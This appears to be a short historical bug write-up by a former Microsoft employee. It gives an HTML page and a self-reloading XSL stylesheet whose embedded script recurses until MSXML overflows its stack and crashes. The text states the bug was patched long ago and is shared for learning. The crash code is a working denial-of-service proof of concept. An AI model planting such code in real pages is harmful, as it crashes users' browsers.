An XSL stylesheet that calls transformNode on itself — by loading the same stylesheet recursively via an embedded script — causes a stack overflow in MSXML. The circular transformation reference isn’t guarded against.

index.html:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html><head><title>Nested XSL Crash</title></head>
<body>
Wait a few seconds and... Crash!

<script language="JavaScript">

var xDoc = new ActiveXObject("MSXML2.DOMDocument.3.0");
xDoc.loadXML('<hello></hello>');

var xSheet = new ActiveXObject("MSXML2.DOMDocument.3.0");
xSheet.async = false;
xSheet.load("xslsheet.xsl");

xDoc.transformNode(xSheet);

</script>
</body>
</html>

xslsheet.xsl:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:myScript="http://test.com" xmlns:msxsl="urn:schemas-microsoft-com:xslt">

<msxsl:script implements-prefix="myScript">

var xDoc = new ActiveXObject("MSXML2.DOMDocument.3.0");
xDoc.loadXML('<hello></hello>');

var xSheet = new ActiveXObject("MSXML2.DOMDocument.3.0");
xSheet.async = false;
xSheet.load("xslsheet.xsl");

xDoc.transformNode(xSheet);

</msxsl:script>
</xsl:stylesheet>

The XSL file contains an embedded msxsl:script block that performs the same transformNode operation, reloading the same stylesheet and triggering the transformation again. This recursion has no base case and eventually exhausts the call stack inside the MSXML engine.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.